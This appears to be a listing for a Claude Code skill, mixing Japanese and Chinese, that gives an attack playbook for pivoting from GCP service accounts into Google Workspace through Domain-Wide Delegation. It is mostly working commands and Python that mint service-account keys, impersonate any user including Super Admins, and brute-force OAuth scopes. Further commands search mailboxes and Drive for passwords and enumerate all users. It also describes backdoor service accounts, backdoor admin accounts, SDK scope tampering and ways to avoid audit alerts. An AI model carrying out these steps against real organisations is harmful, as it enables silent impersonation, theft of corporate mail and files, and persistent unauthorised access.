gcp-workspace-pivot について
GCP の Service Account 権限から Google Workspace へ至る経路を評価するセキュリティテスト用スキルです。Domain-Wide Delegation の発見と利用、OAuth スコープ、データアクセス、永続化、監査上の注意点を扱います。
主な機能
- 01GCP から Workspace への攻撃経路
- 02DWD による委任トークンの仕組み
- 03OAuth スコープとアクセス範囲
- 04データ取得と永続化の手法
- 05監査ログとアラートの情報
活用シーン
- 01Service Account の DWD リスク評価
- 02許可されたテストで Workspace API 権限を確認
- 03GCP と Workspace をまたぐ防御の計画
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ wgpsec/ aboutsecurity --skill gcp-workspace-pivotインストール後、Claude Code で/gcp-workspace-pivotを入力して読み込まれたか確認します。
同梱ファイルreferences/workspace-post-exploit.md
詳細
GCP 到 Google Workspace 穿越攻击方法论
GCP 与 Google Workspace 同属 Google Cloud 生态,二者通过 IAM 和 OAuth 深度绑定。当攻击者拿到 GCP Service Account 或 Project 权限后,若目标组织同时使用 Google Workspace(原 G Suite),就可能从云基础设施穿越到企业办公系统——直接访问全员邮件、文件、日历、通讯录乃至管理控制台。
为什么这个穿越如此致命:
- 影响面极大:一个配置了 Domain-Wide Delegation(DWD)的 Service Account 可冒充组织内任意用户
- 权限升级无感知:DWD 滥用不需要目标用户交互或确认,被冒充的用户完全无感
- 数据价值极高:企业邮件(Gmail)、共享文件(Drive)、会议日程(Calendar)、组织架构(Admin Directory)全部可被访问
- 攻击路径隐蔽:通过 Service Account 生成的 OAuth Token 访问 Workspace API,不同于用户直接登录,很多组织缺少对此类访问的监控
深入参考
识别到具体 Workspace 后渗透场景后,加载参考文档获取完整技术细节:
- Workspace 各服务后渗透操作(Gmail/Drive/Calendar/Admin Directory/Chat)与持久化技术 → 读 references/workspace-post-exploit.md
核心概念:Domain-Wide Delegation(DWD)
DWD 是什么
Domain-Wide Delegation 是 Google Workspace 的一项功能,允许 GCP Service Account 代表 Workspace 域内的任意用户访问 Google API。其工作流程:
1. Service Account 使用私钥签署 JWT(声明要冒充的用户和请求的 OAuth scope)
2. JWT 发送到 Google OAuth 2.0 服务,请求 Access Token
3. Google 验证 DWD 配置后返回 Access Token(代表目标用户)
4. 使用该 Token 调用 Google API(Gmail/Drive/Calendar 等),以目标用户身份操作
为什么 DWD 危险
- 配置 DWD 时只需 Service Account 的 OAuth Client ID 和 OAuth Scope,不绑定特定用户
- 一旦配置,该 SA 可冒充域内任意用户,包括 Super Admin
- DWD 配置只能在 Admin Console 手动管理,无法通过 API 审计其历史变更
- 许多组织为了自动化工作流而配置 DWD,但未做最小权限限制
DWD 滥用的前提条件
| 条件 | 说明 |
|---|---|
| 拥有 SA 私钥或可创建新密钥 | iam.serviceAccountKeys.create 权限 |
| SA 已配置 DWD | Admin Console 中已授权该 SA 的 Client ID |
| 知道至少一个有效 Workspace 用户邮箱 | 用于冒充,Super Admin 效果最佳 |
| SA 被授权了有用的 OAuth Scope | 如 Gmail、Drive、Admin Directory 等 |
攻击链:发现并利用 DWD
Step 1:枚举 GCP 项目中的 Service Account
# 列出当前项目的所有 Service Account
gcloud iam service-accounts list --project <project-id>
# 枚举所有可访问项目
for proj in $(gcloud projects list --format="value(projectId)"); do
echo "=== Project: $proj ==="
gcloud iam service-accounts list --project "$proj" \
--format="table(email,displayName,disabled)" 2>/dev/null
done
Step 2:检查 SA 的密钥和权限
# 列出 SA 的现有密钥
gcloud iam service-accounts keys list \
--iam-account <sa-email> \
--format="table(name,validAfterTime,validBeforeTime,keyType)"
# 检查当前用户对 SA 的权限(能否创建密钥)
gcloud iam service-accounts get-iam-policy <sa-email>
# 创建新密钥(如有权限)
gcloud iam service-accounts keys create ./sa-key.json \
--iam-account <sa-email>
Step 3:识别 DWD 配置
DWD 配置无法通过 GCP API 直接查询,需要间接判断:
# 获取 SA 的 OAuth2 Client ID(唯一标识,用于 DWD 配置)
gcloud iam service-accounts describe <sa-email> \
--format="value(oauth2ClientId)"
# 暴力尝试法:用 SA 密钥尝试生成委托令牌
# 如果成功,说明该 SA 已配置 DWD
自动化发现:使用 DeleFriend 工具可批量枚举所有 SA 并尝试各种 OAuth Scope 组合来发现 DWD 配置。
Step 4:生成委托令牌并冒充用户
from google.oauth2 import service_account
import google.auth.transport.requests
# 目标 OAuth Scope(根据需要选择)
SCOPES = [
'https://www.googleapis.com/auth/gmail.readonly',
'https://www.googleapis.com/auth/drive.readonly',
'https://www.googleapis.com/auth/calendar.readonly',
'https://www.googleapis.com/auth/admin.directory.user.readonly',
'https://www.googleapis.com/auth/admin.directory.group.readonly',
]
# 加载 SA 凭据并设置委托用户
credentials = service_account.Credentials.from_service_account_file(
'sa-key.json', scopes=SCOPES
)
# 冒充目标用户(Super Admin 效果最佳)
delegated_creds = credentials.with_subject('[email protected]')
# 获取 Access Token
request = google.auth.transport.requests.Request()
delegated_creds.refresh(request)
print(f"Access Token: {delegated_creds.token}")
# 使用生成的 Token 调用 API
TOKEN="<上一步获取的 token>"
# 测试 Gmail 访问
curl -s -H "Authorization: Bearer $TOKEN" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages?maxResults=5"
# 测试 Drive 访问
curl -s -H "Authorization: Bearer $TOKEN" \
"https://www.googleapis.com/drive/v3/files?pageSize=10"
Step 5:批量尝试 OAuth Scope
当不确定 SA 被授权了哪些 Scope 时,逐个尝试:
"""批量尝试不同 OAuth Scope 组合,发现 SA 的 DWD 权限范围"""
from google.oauth2 import service_account
import google.auth.transport.requests
SCOPE_LIST = [
'https://mail.google.com/',
'https://www.googleapis.com/auth/gmail.readonly',
'https://www.googleapis.com/auth/drive',
'https://www.googleapis.com/auth/drive.readonly',
'https://www.googleapis.com/auth/calendar',
'https://www.googleapis.com/auth/calendar.readonly',
'https://www.googleapis.com/auth/admin.directory.user',
'https://www.googleapis.com/auth/admin.directory.user.readonly',
'https://www.googleapis.com/auth/admin.directory.group',
'https://www.googleapis.com/auth/admin.directory.domain',
'https://www.googleapis.com/auth/cloud-platform',
'https://www.googleapis.com/auth/contacts.readonly',
'https://www.googleapis.com/auth/chat.messages.readonly',
]
for scope in SCOPE_LIST:
try:
creds = service_account.Credentials.from_service_account_file(
'sa-key.json', scopes=[scope]
)
delegated = creds.with_subject('[email protected]')
delegated.refresh(google.auth.transport.requests.Request())
print(f"[+] 有效 Scope: {scope}")
except Exception as e:
print(f"[-] 无效 Scope: {scope} ({e})")
决策树:GCP 权限 → Workspace 穿越路径
当前 GCP 权限级别?
├─ 拥有 SA 私钥文件
│ ├─ SA 已配置 DWD → 直接生成委托令牌冒充任意用户
│ └─ SA 未配置 DWD → 检查其他 SA / 尝试创建新 DWD(需 Workspace Admin)
│
├─ 可创建 SA 密钥(iam.serviceAccountKeys.create)
│ ├─ 枚举所有 SA → 为每个 SA 创建密钥 → 尝试 DWD
│ └─ 使用 DeleFriend 自动化枚举
│
├─ 拥有 Workspace Super Admin(通过 GCP 提权获得)
│ ├─ 创建新 SA + 配置 DWD → 完全控制 Workspace
│ └─ 直接通过 Admin Console 操作(不需 DWD)
│
├─ 普通 Workspace 用户凭据
│ ├─ 创建新 GCP 项目 → 启用 API → 枚举 Workspace
│ ├─ 加入开放的 Google Groups → 获取额外 GCP 权限
│ └─ gcloud auth login --enable-gdrive-access → 访问 Drive
│
└─ 仅有 GCP 项目 Viewer
└─ 枚举 SA 列表 → 寻找可利用的 SA → 尝试提权路径
OAuth Scope 利用速查
高价值 Scope 列表
| OAuth Scope | 能力 | 危险等级 |
|---|---|---|
https://mail.google.com/ | Gmail 完全读写(含发送) | 极高 |
https://www.googleapis.com/auth/gmail.readonly | 读取所有邮件 | 高 |
https://www.googleapis.com/auth/drive | Drive 完全读写 | 极高 |
https://www.googleapis.com/auth/admin.directory.user | 用户管理(创建/删除用户) | 极高 |
https://www.googleapis.com/auth/admin.directory.group | 组管理 | 高 |
https://www.googleapis.com/auth/admin.directory.domain | 域管理 | 极高 |
https://www.googleapis.com/auth/calendar | 日历完全读写 | 中 |
https://www.googleapis.com/auth/contacts | 通讯录读写 | 中 |
https://www.googleapis.com/auth/chat.messages | Chat 消息读写 | 中 |
https://www.googleapis.com/auth/cloud-platform | GCP 全权限 | 极高 |
gcloud 凭据劫持
当物理访问到已登录 gcloud 的主机时,可以劫持已有凭据来访问 Workspace:
# 检查已认证的账户
gcloud auth list
# 使用 --enable-gdrive-access 重新登录,扩展 Scope 到 Drive
gcloud auth login --enable-gdrive-access
# 用获取的 Token 访问 Drive API
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://www.googleapis.com/drive/v3/files"
高级手法:修改 google-cloud-sdk/lib/googlecloudsdk/core/config.py 中的 CLOUDSDK_SCOPES,注入额外的 OAuth Scope(如 https://www.googleapis.com/auth/drive),下次用户登录时 Token 自动携带该 Scope。
Workspace 数据窃取速查
→ 读 references/workspace-post-exploit.md
| 服务 | 关键 API | 典型操作 |
|---|---|---|
| Gmail | gmail.googleapis.com/gmail/v1/users/me/messages | 搜索/读取邮件,提取附件 |
| Drive | www.googleapis.com/drive/v3/files | 列出/下载文件,搜索敏感文档 |
| Calendar | www.googleapis.com/calendar/v3/calendars | 读取会议安排,查看参会人 |
| Admin Directory | admin.googleapis.com/admin/directory/v1/users | 枚举用户/组/域,修改角色 |
| Chat | chat.googleapis.com/v1/spaces | 读取 Chat 消息 |
| Contacts | people.googleapis.com/v1/people/me/connections | 获取通讯录 |
快速数据提取命令
TOKEN="<delegated_access_token>"
# Gmail:搜索含密码的邮件
curl -s -H "Authorization: Bearer $TOKEN" \
"https://gmail.googleapis.com/gmail/v1/users/me/messages?q=password+OR+credential+OR+密码"
# Drive:搜索敏感文件
curl -s -H "Authorization: Bearer $TOKEN" \
"https://www.googleapis.com/drive/v3/files?q=name+contains+'password'+or+name+contains+'credential'&fields=files(id,name,mimeType)"
# Admin Directory:枚举所有用户
curl -s -H "Authorization: Bearer $TOKEN" \
"https://admin.googleapis.com/admin/directory/v1/users?domain=target-org.com&maxResults=500"
# Admin Directory:枚举所有组
curl -s -H "Authorization: Bearer $TOKEN" \
"https://admin.googleapis.com/admin/directory/v1/groups?domain=target-org.com"
Workspace の永続化の概要
| 技術 | 前提条件 | 隠密性 | 永続性 |
|---|---|---|---|
| 新しい DWD 設定の作成 | Workspace Super Admin | 中 | 永久(手動で削除するまで) |
| 組織をまたぐ DWD | 攻撃者の GCP アカウント + 対象の Super Admin | 高 | 永久 |
| Gmail の転送ルール | なりすまし対象ユーザーの認証情報 | 低 | 継続(発見されるまで) |
| Gmail フィルターによるアラートの非表示 | なりすまし対象ユーザーの認証情報 | 高 | 継続 |
| OAuth アプリの認可 | ユーザーの操作または Admin 権限 | 中 | 取り消されるまで |
| メールボックスへの委任アクセス | ユーザー設定または Admin 権限 | 中 | 取り消されるまで |
| バックドア管理者アカウントの作成 | Admin Directory への書き込み権限 | 低 | 発見されるまで |
| App Script の時間主導型トリガー | ユーザーの操作 | 高 | 継続 |
| gcloud SDK Scope の変更 | ホストへの物理アクセス/リモートアクセス | 高 | SDK の更新まで |
新しい DWD を作成して永続化を実現する:
# 1. 在攻击者控制的 GCP 项目中创建 SA
gcloud iam service-accounts create backdoor-sa \
--project <attacker-project>
gcloud iam service-accounts keys create backdoor-key.json \
--iam-account backdoor-sa@<attacker-project>.iam.gserviceaccount.com
# 2. 获取 SA 的 OAuth Client ID
gcloud iam service-accounts describe \
backdoor-sa@<attacker-project>.iam.gserviceaccount.com \
--format="value(oauth2ClientId)"
# 3. 在目标 Workspace Admin Console 中添加 DWD
# https://admin.google.com/ac/owl/domainwidedelegation
# 填入 Client ID 和所需 OAuth Scope
# 注意:此步骤只能手动操作,无法通过 API 完成
重要な発見:DWD の OAuth Client ID はグローバルであり、組織をまたぐ DWD が可能です。攻撃者の GCP プロジェクトにある SA を、対象 Workspace 組織の委任された ID として設定できます。設定を完了するには、対象 Workspace の Super Admin アクセス権だけが必要です。
おすすめのツール
| ツール | 用途 | リンク/コマンド |
|---|---|---|
| DeleFriend | DWD の自動検出と悪用 | github.com/axon-git/DeleFriend |
| DelePwn | ドメイン列挙/Drive/Gmail を含む DeleFriend の強化版 | github.com/n0tspam/delepwn |
| gcpwn | GCP の包括的な悪用フレームワーク | github.com/NetSPI/gcpwn |
| gcp_delegation.py | Gitlab のレッドチーム向け DWD 悪用スクリプト | gitlab.com/gitlab-com/gl-security/.../gcp_delegation.py |
| gcp_gen_delegation_token | 委任 OAuth Token の生成 | github.com/carlospolop/gcp_gen_delegation_token |
| google-api-python-client | Google API の Python SDK | pip install google-api-python-client |
| PaperChaser | Drive ドキュメントのスパイダークロール | github.com/mandatoryprogrammer/PaperChaser |
OPSEC に関する注意事項
Workspace の監査ログ
Google Workspace Admin Console の監査ログには、次の操作が記録されます。
- Admin 監査ログ:ユーザー/グループの作成、削除、権限の変更
- ログイン監査ログ:ログインイベント(ただし、SA のなりすましではログインログは生成されません)
- Drive 監査ログ:ファイルの閲覧、ダウンロード、共有、権限の変更
- Gmail 監査ログ:委任アクセス、メールルールの変更
- Token 監査ログ:OAuth Token の認可と取り消し
- SAML 監査ログ:SSO 関連のイベント
高リスクのアラートを発生させる操作
| 操作 | アラートレベル | 説明 |
|---|---|---|
| 新しい Admin ユーザーの作成 | 高 | Admin 監査ログ + メール通知 |
| DWD 設定の追加 | 中 | Admin 監査ログ(ただし、監視していない組織が多くあります) |
| 大量の API 呼び出し | 中 | 異常なトラフィックの検知 |
| 地理的に離れた場所での Token の使用 | 低 | SA Token は通常、地理的な制限がありません |
| Gmail 転送ルールの変更 | 高 | セキュリティアラートがユーザーのスマートフォンにプッシュ通知されます |
| OAuth アプリの認可 | 中 | 組織のポリシーによります |
OPSEC の推奨事項
- ユーザーとしてログインせず、SA になりすます:DWD によって生成された SA の Token は、ユーザーのログインアラートを発生させません
- API 呼び出しの速度を制御する:短時間に大量のリクエストを送信して異常検知を引き起こさないようにします
- 読み取り専用 Scope を優先する:
readonlyScope は読み書き Scope よりも監査ログへの記録が少なくなります - なりすます対象を慎重に選ぶ:Super Admin になりすます必要はありません。一般ユーザーの操作のほうが注目を集めにくくなります
- Gmail の操作には注意する:転送ルール/フィルターを作成すると、セキュリティアラートがユーザーのスマートフォンにプッシュ通知されます
相互参照
- GCP の全体的な攻撃手順と初期アクセス権の取得方法については、
gcp-pentestingスキルを参照してください - GCP の権限昇格と Service Account 関連の悪用手法については、
gcp-exploitスキルを参照してください